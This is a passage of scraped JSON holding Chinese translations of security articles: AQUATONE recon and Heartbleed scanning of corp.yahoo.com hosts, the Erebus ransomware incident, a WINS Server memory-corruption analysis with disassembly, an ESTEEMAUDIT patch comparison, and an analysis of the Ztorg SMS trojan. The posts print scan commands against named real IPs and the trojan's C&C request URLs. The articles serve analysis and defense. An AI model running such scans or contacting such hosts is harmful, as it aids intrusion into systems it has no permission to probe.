maxlength=\"64\"   autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\" spellcheck=\"false\" &gt;&lt;/dd&gt;\nfast_corp_yahoo_com__98_136_205_216__443.html: &lt;dd&gt;&lt;input class=\"input-large\" name=\"pass_word\" type=\"password\" id=\"pass_word\" maxlength=\"64\"   autocomplete=\"off\" autocorrect=\"off\" autocapitalize=\"off\" spellcheck=\"false\" &gt;&lt;/dd&gt;root@kali:~/aquatone/corp.yahoo.com/html#</code><p>获取端口443上的主机</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com# cat open_ports.txt | grep ',443' | cut -d \",\" -f 1117.104.189.54\n124.108.98.253\n124.108.98.254\n203.83.249.10\n203.83.249.4\n...\n216.145.48.153\n72.30.2.113\n98.136.163.125\n98.136.205.152\n98.136.205.216root@kali:~/aquatone/corp.yahoo.com#</code><p>检测具有Heartbleed的HTTPS主机</p><code lang=\"text\">root@kali:~/aquatone/corp.yahoo.com# grep https urls.txt | cut -d '/' -f 3 &gt; /tmp/targets.lstroot@kali:~/aquatone/corp.yahoo.com# sslscan --targets=/tmp/targets.lst --no-ciphersuites --no-fallback --no-renegotiation --no-compression --no-check-certificateVersion: 1.11.9-static\nOpenSSL 1.0.2l-dev  xx XXX xxxx\nTesting SSL server bomgar.corp.yahoo.com on port 443 using SNI name\n  Heartbleed:\nTLS 1.2 not vulnerable to heartbleed\nTLS 1.1 not vulnerable to heartbleed\nTLS 1.0 not vulnerable to heartbleed\nTesting SSL server bouncer.gh.corp.yahoo.com on port 443 using SNI name\n...\nTesting SSL server vpn2-2-gci.sv6.corp.yahoo.com on port 443 using SNI name\n  Heartbleed:\nTLS 1.2 not vulnerable to heartbleed\nTLS 1.1 not vulnerable to heartbleed\nTLS 1.0 not vulnerable to heartbleedroot@kali:~/aquatone/corp.yahoo.com#</code><p>最后，很高兴加入到使用AQUATONE的航班中，您将度过的是一段轻松而又愉快的旅程。</p><br><blockquote>本文翻译自：<a href=\"http://michenriksen.com/blog/aquatone-tool-for-domain-flyovers/\" data-editable=\"true\" data-title=\"AQUATONE: A tool for domain flyovers\" class=\"\">AQUATONE: A tool for domain flyovers</a>，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/tools/5571.html\" data-editable=\"true\" data-title=\"子域名枚举、探测工具AQUATONE 使用指南\">子域名枚举、探测工具AQUATONE 使用指南</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-22T02:21:57.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":6,"state":"published","isLiked":false,"slug":"27504418","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-22T10:21:57+08:00","links":{"comments":"/api/posts/27504418/comments"},"url":"/p/27504418","titleImage":"","summary":"","href":"/api/posts/27504418","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":6},"27504443":{"title":"别以为Linux系统就不会被勒索 | 韩国一公司因此要准备100万美元赎金","author":"hou-hou-4-12","content":"<p><img src=\"v2-bcb6e2f7ff47d7bc0a618b0d8179c343.jpg\" data-rawwidth=\"400\" data-rawheight=\"250\">6月10日，韩国网络托管公司NAYANA被Erebus 勒索软件（由趋势科技公司检测为RANSOM_ELFEREBUS.A）攻击，导致旗下 153 台 Linux 服务器与 3400 个商业网站感染 Erebus 勒索软件。</p><p>安全专家表示，勒索软件 Erebus 滥用 Event Viewer 提权，允许实现用户账户控制（ UAC ）绕过，即用户不会收到以较高权限运行程序运行的通知。此外， Erebus 还可将自身复制到任意一个随机命名的文件中修改 Window 注册表，以劫持与 .msc 文件扩展名相关内容。</p><p>去年6月12日在NAYANA网站发布的通知中，该公司就表示，攻击者就要求过550比特币的空前赎金，即162万美元，以解密其所有服务器的受影响的文件。在6月14日的网站更新中，我们看到NAYANA协商支付了总共397.6 比特币（根据2017年6月19日的汇率，约101万美元），分期付款。在6月17日的NAYANA网站发布的声明中，三批付款中的第二笔给攻击者汇出。 6月18日，NAYANA开始批量恢复受损服务器的运行。</p><p>虽然在赎金数额方面令人震惊，不过专家们的质疑确实，第三批勒索赎金交齐了后，是否能恢复全部的文件。这让人想起堪萨斯医院发生过的事情，，堪萨斯心脏医院（Kansas Heart Hospital）就是为此付出了沉重的代价。他们按要求支付了赎金，换来的却是部分的恢复文件，网络犯罪分子竟要求更多赎金，才能恢复全部文件。。</p><p>Erebus于2016年9月首次发布，并于2017年2月重新出现，并采用了绕过UAC的方法。以下是趋势科技研究人员迄今为止发现的关于Erebus Linux版本的一些显着的技术细节：<img src=\"v2-c8d6e4238a7aeef831d10ee42fcb34d4.jpg\" data-rawwidth=\"756\" data-rawheight=\"796\"></p><p>上图是Erebus的多种语言的赎金单。<img src=\"v2-33bcdfbb592e45f172fb7b420efc0e2e.jpg\" data-rawwidth=\"1092\" data-rawheight=\"623\"></p><p>上图是攻击者演示视频的屏幕截图，显示了如何解密加密文件。</p><h2><strong>攻击过程还原</strong></h2><p>至于Erebus是如何进行攻击的，研究人员只能推断Erebus可能会利用漏洞或本地的Linux漏洞。例如，基于开源智能，NAYANA的网站运行在Linux内核2.6.24.2之上，该版本于2008年被编译。安全漏洞，如DIRTY COW可以为攻击者提供root以访问易受攻击的Linux系统，这只是对一些已经暴露了的威胁的分析。</p><p>此外，NAYANA的网站使用Apache版本1.3.36和PHP版本5.1.4，两者都是在2006年发布。Apache漏洞和PHP漏洞是众所周知的，事实上，在中国的网络黑市甚至还有一种工具，用于开发Apache Struts。 Apache NAYANA使用的版本是以nobody（uid = 99）的用户身份运行的，这表示本地攻击也可能在攻击中被使用。<img src=\"v2-62fe25eb753c3f57be9970aca6ee2b59.png\" data-rawwidth=\"1039\" data-rawheight=\"671\"></p><p>上图就是在VirusTotal上扫描的Erebus</p><p>值得注意的是，Erebus在攻击范围方面是有限的，事实上，它们主要集中在韩国。虽然这可能表明这种Erebus攻击是专门针对韩国的，但VirusTotal还显示了另外的攻击分析，从乌克兰和罗马尼亚也发现了Erebus的攻击样本。</p><h2><strong>加密程序</strong></h2><p>已知的某些勒索软件家族可以加密算法，如UIWIX，更高版本的Cerber和DMA Locker等等。Erebus也实现了这一点，它加密的每个文件都具有以下格式：<img src=\"v2-8d4f1070e9d4bebf51cbc845b7fb3ae5.jpg\" data-rawwidth=\"411\" data-rawheight=\"167\"></p><p>该文件首先用具有随机生成密钥的500kB block中的RC4加密进行加扰，然后使用AES加密算法对RC4密钥进行编码，该加密算法存储在文件中。 AES密钥再次使用存储在文件中的RSA-2048算法进行加密。</p><p>虽然每个加密文件都有其RC4和AES密钥，但RSA-2048公钥是共享的。这些RSA-2048密钥是本地生成的，但私钥是使用AES加密和另一个随机生成的密钥加密的。正在进行的分析表明，在没有生产RSA密钥的情况下，解密是不可能的。</p><h2><strong>目标文件类型</strong></h2><p>Office文档、数据库、存档和多媒体文件是勒索软件通常针对的文件类型， Erebus也不例外，它加密了433种文件类型。但是，Erebus似乎主要用于定位和加密Web服务器以及存储在其中的数据。</p><p>以下这个表显示了Erebus搜索的目录和系统表空间。请注意，var / www /是存储网站的文件或数据的位置，而在MySQL中使用ibdata文件：<img src=\"v2-adeebd4b814627f89861775b1d62b806.jpg\" data-rawwidth=\"417\" data-rawheight=\"611\"></p><p>随着Unix和类Unix的操作系统（如Linux）的市场份额不断扩大，针对该系统的勒索软件攻击也会越来越多。况且它们还是专门用于工作站和服务器，网络和应用程序开发框架，数据库和移动设备。</p><p>正如我们之前对WannaCry，SAMSAM，Petya或HDDCryptor的分析，服务器和网络共享的能力让恶意软件的传播相当迅速。</p><p>所以对于企业来说，要牢记：</p><p>1.备份关键文件</p><p>2.禁用或最小化第三方或未验证的存储库</p><p>3.应用最小特权</p><p>4.确保更新服务器和端点</p><p>5.定期监控网络</p><p>6.检查事件日志以检查入侵或感染的迹象</p><p>可以考虑的一些安全机制是：</p><p>1.IP过滤以及入侵防御和检测系统</p><p>2.Linux中的安全扩展，用于管理和限制对文件或系统等网络资源的访问</p><p>3.网络分割和数据分类，以减少和减轻感染所造成的损害</p><p>4.在Linux中启用特权分离</p><br><blockquote>本文翻译自：<a href=\"http://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/\" data-editable=\"true\" data-title=\"Erebus Resurfaces as Linux Ransomware - TrendLabs Security Intelligence Blog\">Erebus Resurfaces as Linux Ransomware - TrendLabs Security Intelligence Blog</a> ，如若转载，请注明来源于嘶吼： <a href=\"http://www.4hou.com/info/5590.html\" data-editable=\"true\" data-title=\"Erebus以Linux勒索软件的方式重出江湖，勒索韩国公司100万美元 - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">Erebus以Linux勒索软件的方式重出江湖，勒索韩国公司100万美元 - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-22T02:32:32.000Z","canComment":false,"commentPermission":"anyone","commentCount":5,"likeCount":14,"state":"published","isLiked":false,"slug":"27504443","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-22T10:32:32+08:00","links":{"comments":"/api/posts/27504443/comments"},"url":"/p/27504443","titleImage":"","summary":"","href":"/api/posts/27504443","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":5,"likesCount":14},"27504456":{"title":"Windows Server中的 WINS 服务器远程内存损坏漏洞分析","author":"hou-hou-4-12","content":"<h2><strong>漏洞概要</strong></h2><p>在2016年12月，FortiGuard Labs发现并报告了Microsoft Windows Server中的WINS Server远程内存损坏漏洞。在2017年6月，微软向FortiGuard实验室答复说：“要修复程序漏洞需要对代码进行全面彻底的检查，WINS所提供的功能会被DNS所取代，微软已经建议客户将其迁移出去。也就是说，由于修复漏洞所需要的工作量，Microsoft不会修补此漏洞。相反，Microsoft是建议用户使用DNS来替换WINS。</p><p>此漏洞影响的版本涉及到Windows Server 2008，2012和2016。之所以存在此漏洞是因为在处理格式错误的WINS数据包时会触发远程内存损坏。</p><p>在本文中，我想分享一下这个漏洞的一些细节。</p><h2><strong>漏洞复现</strong></h2><p>要复现此漏洞，请按照以下步骤操作。</p><p>1. 在受影响的Windows Server版本中的“服务器管理器”中安装“WINS服务器”。本文中，我们正在使用的是Windows Server 2016.按照“服务器管理器”的安装向导，然后选中“WINS服务器”选项。请参见图1中的操作。<img src=\"v2-575170f0197842a4ee9d4ad65858915b.png\" data-rawwidth=\"2134\" data-rawheight=\"1600\"></p><p>图1.安装WINS Server服务</p><p>2. 打开“控制面板” – &gt;“管理工具” – &gt;“WINS”。然后导航到“WINS” – &gt;“复制伙伴”，右键单击“复制伙伴”，然后选择“新建复制伙伴”。见下图中的操作。</p><p><img src=\"v2-c018214b16c5446be0a8e937582fa87f.png\" data-rawwidth=\"1300\" data-rawheight=\"926\">图2.创建WINS复制伙伴</p><p>3. 在弹出的对话框中，输入WINS服务器IP地址，然后单击确定。请注意，WINS服务器的IP地址必须是攻击者的主机的IP地址。在我的测试中，IP地址为10.0.0.1。请参见图3中的操作。</p><p><img src=\"v2-7f0339302792c6d66dbe37c9245b937b.png\" data-rawwidth=\"1292\" data-rawheight=\"919\">图3.输入WINS服务器IP地址</p><p>4. 在另一台机器上，如Windows 7 x64（这台主机的IP地址必须是你在步骤3中输入的WINS服务器的IP地址），然后在CLI中运行PoC，如“trigger_poc.py”。发送数据包后，你就可以看到Windows Server 2016上的WINS Server服务会停止工作，或者会使用新的pid自动重新启动进程。你可以继续运行PoC，直到由于远程内存的损坏而导致WINS Server服务完全停止工作。捕获的攻击报文如图4所示。</p><p><img src=\"v2-f1fb1dcea2ae003c138ff402b861563e.png\" data-rawwidth=\"3146\" data-rawheight=\"1546\">图4.捕获的攻击报文</p><h2><strong>漏洞分析</strong></h2><p>存在此漏洞的根本原因在于Windows Server未正确处理多个挂起的WINS-Replication会话。所以让我们先来看看捕获的数据包。参见图5。<img src=\"v2-eda5e80326cacc0202315d4591c4c686.png\" data-rawwidth=\"3159\" data-rawheight=\"1442\"></p><p>图5.攻击数据包中的数据</p><p>当使用复制命令WREPL_REPL_UPDATE2（0x00000005）处理多个（大于 3个）待处理的WINS-Replication会话时，就会触发此漏洞。它导致了“int 29h”，错误代码为0xC0000409。参见图6。<img src=\"v2-08a750875c60249f3f019fc731cb876d.png\" data-rawwidth=\"1478\" data-rawheight=\"878\"></p><p>图6.“int 29h”，错误代码为0xC0000409</p><p>“int 29h”是在Windows 8或更新版本中发现的新的安全声明。它有许多断言。在这里，断言在伪代码中检查了以下条件：损坏的列表指针。</p><code lang=\"text\">    if (((Entry-&gt;Flink)-&gt;Blink) != Entry){\n        mov ecx,3\n        int 29h\n    }</code><p>当我们建立了多个挂起的WINS-Replication会话时，列表指针将被破坏。根本原因是将同一个缓冲区多次释放到了列表池。请参阅以下代码：</p><code lang=\"text\">.text:00007FF7F87E35D4 DeallocEnt      proc near      ; CODE XREF: CommAssocDeallocAssoc+2Ap\n \n.text:00007FF7F87E35D4                                         ; CommAssocDeallocDlg+2Ap\n \n.text:00007FF7F87E35D4                                         ; DATA XREF: ...\n \n.text:00007FF7F87E35D4\n \n.text:00007FF7F87E35D4 arg_0           = qword ptr  8\n \n.text:00007FF7F87E35D4 arg_8           = qword ptr  10h\n \n.text:00007FF7F87E35D4 arg_10          = qword ptr  18h\n \n.text:00007FF7F87E35D4 arg_20          = qword ptr  28h\n \n.text:00007FF7F87E35D4 arg_28          = qword ptr  30h\n \n.text:00007FF7F87E35D4\n \n.text:00007FF7F87E35D4                 mov     [rsp+arg_0], rbx\n \n.text:00007FF7F87E35D9                 mov     [rsp+arg_8], rsi\n \n.text:00007FF7F87E35DE                 mov     [rsp+arg_10], r8\n \n.text:00007FF7F87E35E3                 push    rdi\n \n.text:00007FF7F87E35E4                 sub     rsp, 20h\n \n.text:00007FF7F87E35E8                 mov     rbx, r9\n \n.text:00007FF7F87E35EB                 mov     rsi, r8\n \n.text:00007FF7F87E35EE                 mov     rdi, rdx  ---&gt; rdi points to the head of the list (rdx, named entry A here) which equals sAssocQueHd global variable\n \n.text:00007FF7F87E35F1                 mov     rcx, r8         ; lpCriticalSection\n \n.text:00007FF7F87E35F4                 call    cs:__imp_EnterCriticalSection\n \n.text:00007FF7F87E35FA                 nop\n \n.text:00007FF7F87E35FB                 inc     dword ptr [rbx]\n \n.text:00007FF7F87E35FD                 mov     eax, [rbx]\n \n.text:00007FF7F87E35FF                 mov     rbx, [rsp+28h+arg_20] ; ---&gt; rbx points to the entry B, which will be deallocated\n \n.text:00007FF7F87E3604                 mov     [rbx+10h], eax\n \n.text:00007FF7F87E3607                 mov     rax, [rdi+8]\n \n.text:00007FF7F87E360B                 cmp     [rax], rdi\n \n.text:00007FF7F87E360E                 jz      short loc_7FF7F87E3617\n \n.text:00007FF7F87E3610                 mov     ecx, 3\n \n.text:00007FF7F87E3615                 int     29h             ; Win8: RtlFailFast(ecx)\n \n.text:00007FF7F87E3617\n \n.text:00007FF7F87E3617 loc_7FF7F87E3617:                       ; CODE XREF: DeallocEnt+3Aj\n \n.text:00007FF7F87E3617                 mov     [rbx], rdi     ---&gt; entry B’s Blink points to entry A\n \n.text:00007FF7F87E361A                 mov     [rbx+8], rax   ---&gt; entry B’s Flink points to entry C\n \n.text:00007FF7F87E361E                 mov     [rax], rbx    ----&gt;   set entry C’s Blink to entry B\n \n.text:00007FF7F87E3621                 mov     [rdi+8], rbx  ----&gt;   set entry A’s Flink to entry B\n \n.text:00007FF7F87E3625                 mov     rdi, [rsp+28h+arg_28]\n \n.text:00007FF7F87E362A                 cmp     dword ptr [rdi], 64h\n...</code><p>在上面的列表中，Flink指针指向列表中的下一个复习，Blink指针指向列表中的上一个对象。</p><p>在PoC中，在会话1,2,3之后发送两个数据包并保持处于挂起状态（用过发送TCP重置数据包这两个会话不会被终止），首先使用B指针调用释放分配函数，例如0x1f11306ff70 。A（ListHead）指针始终等于全局变量sAssocQueHd。分配是在父函数中完成的。所以在B被释放之后，C将不存在于第一个释放列表中。关系如下表所示。<img src=\"v2-25aed46e3ac6c237e628cade85ab5559.png\" data-rawwidth=\"1463\" data-rawheight=\"629\"></p><p>之后用B指针第二次调用释放分配函数，它仍然等于0x1f11306ff70。A（ListHead）等于全局变量sAssocQueHd。所以在B被释放之后，没有添加新的条目。条目关系如下图所示。<img src=\"v2-b6ca84d035a9c8fa1639e5656a5ab847.png\" data-rawwidth=\"1552\" data-rawheight=\"682\"></p><p>你可以清楚地看到, 释放分配函数被调用了两次,B中的列表元素Flink和Blink指向了它们自己。这会导致列表错误。</p><p>那么这个deallocate函数将被第三次调用。所以“int 29h”由于列表指针检查被破坏而触发。</p><code lang=\"text\">    if (((Entry-&gt;Flink)-&gt;Blink) != Entry)\n    {\n        mov ecx,3\n        int 29h\n    }</code><p>在以下函数中处理带有Assoc_Ctx的WREPL_REPL_UPDATE2数据包时，对象指针将会设置为相同的指针：</p><code lang=\"text\">.text:00007FF7F87E0190 ProcTcpMsg      proc near               ; CODE XREF: MonTcp+4C5p\n \n.text:00007FF7F87E0190               ; DATA XREF: .pdata:00007FF7F88077D4o\n \n.text:00007FF7F87E0190\n \n......\n \n.text:00007FF7F87E0284 loc_7FF7F87E0284:                  ; CODE XREF: ProcTcpMsg+EDj\n \n.text:00007FF7F87E0284                 mov     ecx, [r15+4]    ---&gt; netlong here was obtained from the second packet (Wirehark parses it as \"WINS-Replication WREPL_REPL_UPDATE2\"), \"Assoc_Ctx\"=\"00 00 00 3f\".\n \n.text:00007FF7F87E0288           call    cs:__imp_ntohl\n \n.text:00007FF7F87E028E           mov     esi, eax        ---&gt; here esi=0x3f\n \n.text:00007FF7F87E0290           mov     ecx, [r15+8]    ; netlong\n \n......\n \n.text:00007FF7F87E0382 loc_7FF7F87E0382:                       ; CODE XREF: ProcTcpMsg+1EAj\n \n.text:00007FF7F87E0382           lea     ecx, [rsi-1]\n \n.text:00007FF7F87E0385           mov     rax, qword ptr cs:xmmword_7FF7F8804D28\n \n.text:00007FF7F87E038C           mov     rbx, [rax+rcx*8] ; ---&gt; here rbx = poi(7FF7F8804D28)+0x3e*8, because rcx is obtained from Assoc_Ctx=0x3f -1\n \n.text:00007FF7F87E0390           xor     esi, esi</code><p>从上面的代码段可以看出，一旦获得了对象指针poi(poi(7FF7F8804D28)+0x3e*8 </p><p>，最终的目标指针（之前传递给条目B的指针）在第一次调用释放分配函数时是确定的，它被分配了B指针。在第二次和第三次调用释放函数时,最终的目标指针(入口B指针)保持不变。在我的测试中,它是1306 1306 ff70 f1。这将导致内存损坏。</p><p>注意：poi是获取地址的值的函数。</p><p>总而言之，该漏洞是由于复制命令WREPL_REPL_UPDATE2（这是触发此漏洞的关键）处理多个（&gt; 3）挂起的WINS复制会话所导致的。其结果是相同的列表条目被多次释放，这就导致了远程内存损坏。</p><h2><strong>漏洞缓解措施</strong></h2><p>我们鼓励那些易受攻击的Microsoft Windows Server的所有用户立即从WINS服务器进行迁移。另外，针对此漏洞，已经部署了Fortinet IPS解决方案的企业组织已经通过MS.Windows.WINS.Server.Remote.Memory.Corruption签名得到保护。</p><br><blockquote>本文翻译自：<a href=\"https://blog.fortinet.com/2017/06/14/wins-server-remote-memory-corruption-vulnerability-in-microsoft-windows-server\" data-editable=\"true\" data-title=\"WINS Server Remote Memory Corruption Vulnerability in Microsoft Windows Server\">WINS Server Remote Memory Corruption Vulnerability in Microsoft Windows Server</a> ，如若转载， 请注明来源于嘶吼： <a href=\"http://www.4hou.com/vulnerable/5635.html\" class=\"\" data-editable=\"true\" data-title=\"Windows Server中的 WINS 服务器远程内存损坏漏洞分析\">Windows Server中的 WINS 服务器远程内存损坏漏洞分析</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-22T02:36:58.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":1,"state":"published","isLiked":false,"slug":"27504456","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-22T10:36:58+08:00","links":{"comments":"/api/posts/27504456/comments"},"url":"/p/27504456","titleImage":"","summary":"","href":"/api/posts/27504456","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":1},"27521888":{"title":"Windows远程桌面漏洞Esteemaudit（CVE-2017-9073）补丁简要分析","author":"hou-hou-4-12","content":"<p>在上个月，我们为方程式组织被泄漏的ESTEEMAUDIT漏洞撰写了一个简要的分析，并且直到我们发现这一漏洞攻击只适用于加入Windows域的计算机前，我们都在试图去重现这个问题，不过相对来说编写补丁还是相当简单的。下图显示了当检测到并阻止ESTEEMAUDIT攻击时显示的源代码和“Exploit Attempt Blocked”对话框。</p><p>我们的补丁很简单：我们先去检查从远程智能卡收到的数据（由ESTEEMAUDIT模拟）是否大于80h，这是gpkcsp.dll中目标缓冲区的大小。如果接收到的数据较大，并且使用ESTEEMAUDIT，则我们首先警告我们本地运行的0patch代理（弹出警报），然后将接收到的数据的大小减小到80h，以防止缓冲区溢出。通过在原始代码中引入4个机器指令，可以有效地阻止攻击而不会中断那些合法功能。<img src=\"v2-6d8f86b69f455f5f802765d8bd2376b6.png\" data-rawwidth=\"678\" data-rawheight=\"811\"></p><p>而在大约一个月后，微软公布了ESTEEMAUDIT和其它漏洞的官方更新，并且表示会向客户提供更多的支持。这是非常好的，因为官方的供应商更新是修复漏洞的首选方法，我们的目标是为那些还未修复的问题在修复前提供尽可能的服务，或者在安全更新时间差中为一些客户组织提供对关键漏洞的保护。</p><p>当然，我们对微软如何修复这个漏洞非常感兴趣，并将其修复方案与我们的进行了比较。输入IDA Pro和BinDiff，几分钟后，我们就可以并列的去比较两者了。<img src=\"v2-cbab46516bf661e15a9ce9c94d1c669b.png\" data-rawwidth=\"1410\" data-rawheight=\"822\"></p><p>在左边的固定代码和右边的易受攻击的代码上，微软的补丁在完全相同的位置也引入了同样的检查。我们修复方案的主要区别在于，尽管我们将接收到的数据切割为有效长度，但如果数据太长，则仍然会产生错误，并放弃连接。</p><p>这是非常有道理的，因为官方补丁就是应该提供故障排除信息，微软应该尽量用最小的代码关闭漏洞。</p><p>当然我们也发现了非常惊喜的地方——BinDiff展现了了另一个变化。<img src=\"v2-a426421bb46f95dc782ce2499a66554d.png\" data-rawwidth=\"1518\" data-rawheight=\"826\"></p><p>在代码中的其他地方，微软也添加了类似的检查——检查接收到的数据长度超过80h，如果是，则返回错误。</p><p>他们显然审计了他们的代码，并注意到在另一个DoSCardTransmit调用之后存在类似的错误，并修复它。请注意，这个第二个错误并没有被ESTEEMAUDIT利用，但是很有可能会由第一个bug 进而被发现。微软和其他类似的软件供应商经常在他们的代码中搜索那些类似已发现的漏洞（内部或外部），并主动修复它们。</p><p>毫无疑问，这个被发现的第二个问题也给我们带来了新的问题：还有其他类似的问题吗？</p><p>在gpkcsp.dll中有66次对DoSCardTransmt调用，我们来简要地看看他们。事实上，我们对接收到的缓冲区将被复制到其他缓冲区的情况很感兴趣。实际上还有一个这样的情况，除了微软修补的问题，如下图所示：<img src=\"v2-fe97b8b874a791357861a07f613968c9.png\" data-rawwidth=\"1597\" data-rawheight=\"700\"></p><p>同样，最新的gpkcsp.dll还是位于左侧，但显然这里没有添加任何数据长度检查。该代码与易受攻击的代码存在相似的嫌疑，但它实际上取决于ds上的目标缓冲区的大小：[edx + ebx]。我们没有时间进一步了解这一点，但是我们希望微软去进行尝试并确认它是不可利用的。</p><p>最后顺便说一下，ESTEEMAUDIT漏洞被分配了代号CVE-2017-9073，但微软将其修复与CVE-2017-0176进行了相互的关联。这很容易会引起一些混乱，让人们想知道两个CVE是否是重复的。基于对Microsoft的修复的上述分析，似乎可以准确的说一点，CVE-2017-9073其实是CVE-2017-0176的一个子集，前者只是ESTEEMAUDIT漏洞，而后者还包括上文中所述的第二个类似的问题，微软也进行了修补。</p><br><blockquote>本文翻译自<a href=\"https://0patch.blogspot.hk/2017/06/a-quick-analysis-of-microsofts.html\">https://0patch.blogspot.hk/2017/06/a-quick-analysis-of-microsofts.html</a>，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/vulnerable/5569.html\" data-editable=\"true\" data-title=\"Windows远程桌面漏洞Esteemaudit（CVE-2017-9073）补丁简要分析 - 嘶吼 RoarTalk - 回归最本质的信息安全,互联网安全新媒体,4hou.com\" class=\"\">Windows远程桌面漏洞Esteemaudit（CVE-2017-9073）补丁简要分析 - 嘶吼 RoarTalk</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-06-23T01:55:54.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":7,"state":"published","isLiked":false,"slug":"27521888","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-06-23T09:55:54+08:00","links":{"comments":"/api/posts/27521888/comments"},"url":"/p/27521888","titleImage":"","summary":"","href":"/api/posts/27521888","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":7},"27521904":{"title":"为了更有效率地偷钱，Android root木马开始试水短信扣费诈骗","author":"hou-hou-4-12","content":"<p>自2006年9月以来，我们就一直在监控Google Play商店有关Ztorg木马的各种新变异版本 ，到目前为止，我们已经发现了几十个新的Ztorg木马的变异程序。所有这些都是恶意程序无一例外都是利用漏洞在受感染的设备上获得root权限。</p><p>不过，在2017年5月下旬以来，在我们捕获的Ztorg木马的变异程序中，却发现它们都没有使用设备的root权限。通过对Google Play上的两个恶意应用程序进行研究发现，它们与Ztorg木马相关，虽然不是获得受感染设备的root权限的恶意软件，但是却属于木马短信，它可以发送具有优惠话费的木马短信并在安装后迅速将其的安装博删除，截止目前为止这两个应用程序已经从Google Play上分别被下载了5万和1万次。</p><p>卡巴斯基实验室的专家们将两个木马应用程序检测为SMS.AndroidOS.Ztorg.a木马，并向Google报告了恶意软件，目前这两个应用都已从Google Play商店中删除了。</p><p>2017年5月15日，被称为“魔术浏览器（Magic browser）”的恶意应用程序就已上传到Google Play了，安装次数超过5万次。<img src=\"v2-b073376e9fc7927a0eff26a67c4ef92b.png\" data-rawwidth=\"965\" data-rawheight=\"923\"></p><p>第二个应用程序被称为“噪声检测器（Noise Detector）”，具有相同的恶意功能，安装次数超过10000次。<img src=\"v2-6f7a982805af4251be8448aa8d209f51.png\" data-rawwidth=\"972\" data-rawheight=\"918\"></p><h2><strong>攻击过程</strong></h2><p>恶意程序启动后，木马将等待10分钟，然后连接到其命令和控制（C＆C）服务器。该木马使用了一个有趣的技术从C＆C获取命令，它向C＆C提供两个GET请求，并且都包括国际移动用户身份（IMSI）的一部分。第一个请求将如下所示：</p><code lang=\"text\">GET c.phaishey.com/ft/x250_c.txt（其中250 - IMSI的前三位数字）</code><p>如果木马收到一些数据作为响应，将会发出第二个请求。第二个请求将如下所示：</p><code lang=\"text\">GET c.phaishey.com/ft/x25001_0.txt（其中25001 - IMSI的前五位数字）</code><h2><strong>为什么木马需要这些来自IMSI的数字？</strong></h2><p>IMSI的有趣之处在于前三位数字是MCC（移动国家代码），第三位和第四位是MNC（移动网络代码）。使用这些数字，攻击者可以识别受感染用户的国家和移动运营商，他们需要这样做才能确定选择应该发送哪类优惠话费的欺骗短信。</p><p>在对这些请求进行响应时，木马可能会收到一些加密的JSON文件，其中包含一些数据。此数据应包括优惠列表，每个优惠均包含一个名为“url”的字符串字段，可能包含也可能不包含实际的网址。木马将尝试使用自己的类打开或查看该字段。如果这个值确实是一个真实的url，那么木马会向用户显示其内容。但是如果它是假的url，就会带有一个短信字样的子串，要求用户回复一个短信，其中就包含提供的号码，下图就是决定是否应发送含有恶意代码短信的木马。<img src=\"v2-ad4261e4418c68f228b4e9f754fd62d6.png\" data-rawwidth=\"1024\" data-rawheight=\"281\"></p><p>通常很少有短信是以这种方式发送的，只要收到网址访问或短信发送后，木马将关闭设备声音，并开始删除用户收到的所有短信。</p><p>虽然我们无法通过Google Play传播的木马获得任何命令，但是通过对其他具有相同功能的木马程序的分析，我们得到了以下命令：</p><code lang=\"text\">{“icon”:”http://down.rbksbtmk.com/pic/four-dault-06.jpg”,”id”:”-1″,”name”:”Brower”,”result”:1,”status”:1,”url”:”http://global.621.co/trace?offer_id=111049&amp;aff_id=100414&amp;type=1″}</code><p>这是一个定期的广告报价。</p><h2><strong>WAP计费订阅</strong></h2><p>我们能够在Google Play商店及其他正规的应用商店发现相同功能的许多恶意应用。有趣的是，它们看起来不像独立木马，更像是一些木马程序的附加模块。</p><p>进一步的调查显示，这些木马事由一个常规的Ztorg木马和其他Ztorg模块一起组合的。</p><p>在其中一些木马中，我们发现它们使用MCC从恶意网址下载了一个JS文件。<img src=\"v2-15d796677fa3221f7e09fb9ec78c89f6.png\" data-rawwidth=\"714\" data-rawheight=\"265\"></p><p>于是，为了分析，我们下载了几个JS文件，它们使用了不同的MCC，可以推断这些攻击者是来自不同国家的用户。由于无法获取美国MCC的文件，所以只能尝试从其他国家获取的MCC文件中找到一些功能相似的文件。我们发现，所有的文件都包含一个名为“getAocPage”的函数，它最有可能引用AoC 即收费建议。在分析这些文件后，我发现他们的主要目的是通过WAP计费对网页进行点击攻击。在进行攻击时，木马可以从用户的移动帐户窃取资金。 WAP帐单的攻击方式与话费优惠诈骗短信类似，区别就是它采用了订阅付款的形式，而不是一次性诈骗，下图就是，来自俄罗斯用户的CnC的JS文件（MCC = 250）<img src=\"v2-267bb1ce9875fef1797984fc7414fe47.png\" data-rawwidth=\"484\" data-rawheight=\"384\"></p><p>这意味着该木马从CnC收到的网址不仅可以是广告网址，还可以是WAP帐单订阅的网址。此外，一些具有此功能的木马程序使用包含“/ subscribe / api /”的CnC URL，这些引用也可能使用订阅类的攻击功能。</p><p>所有这些木马，包括来自Google 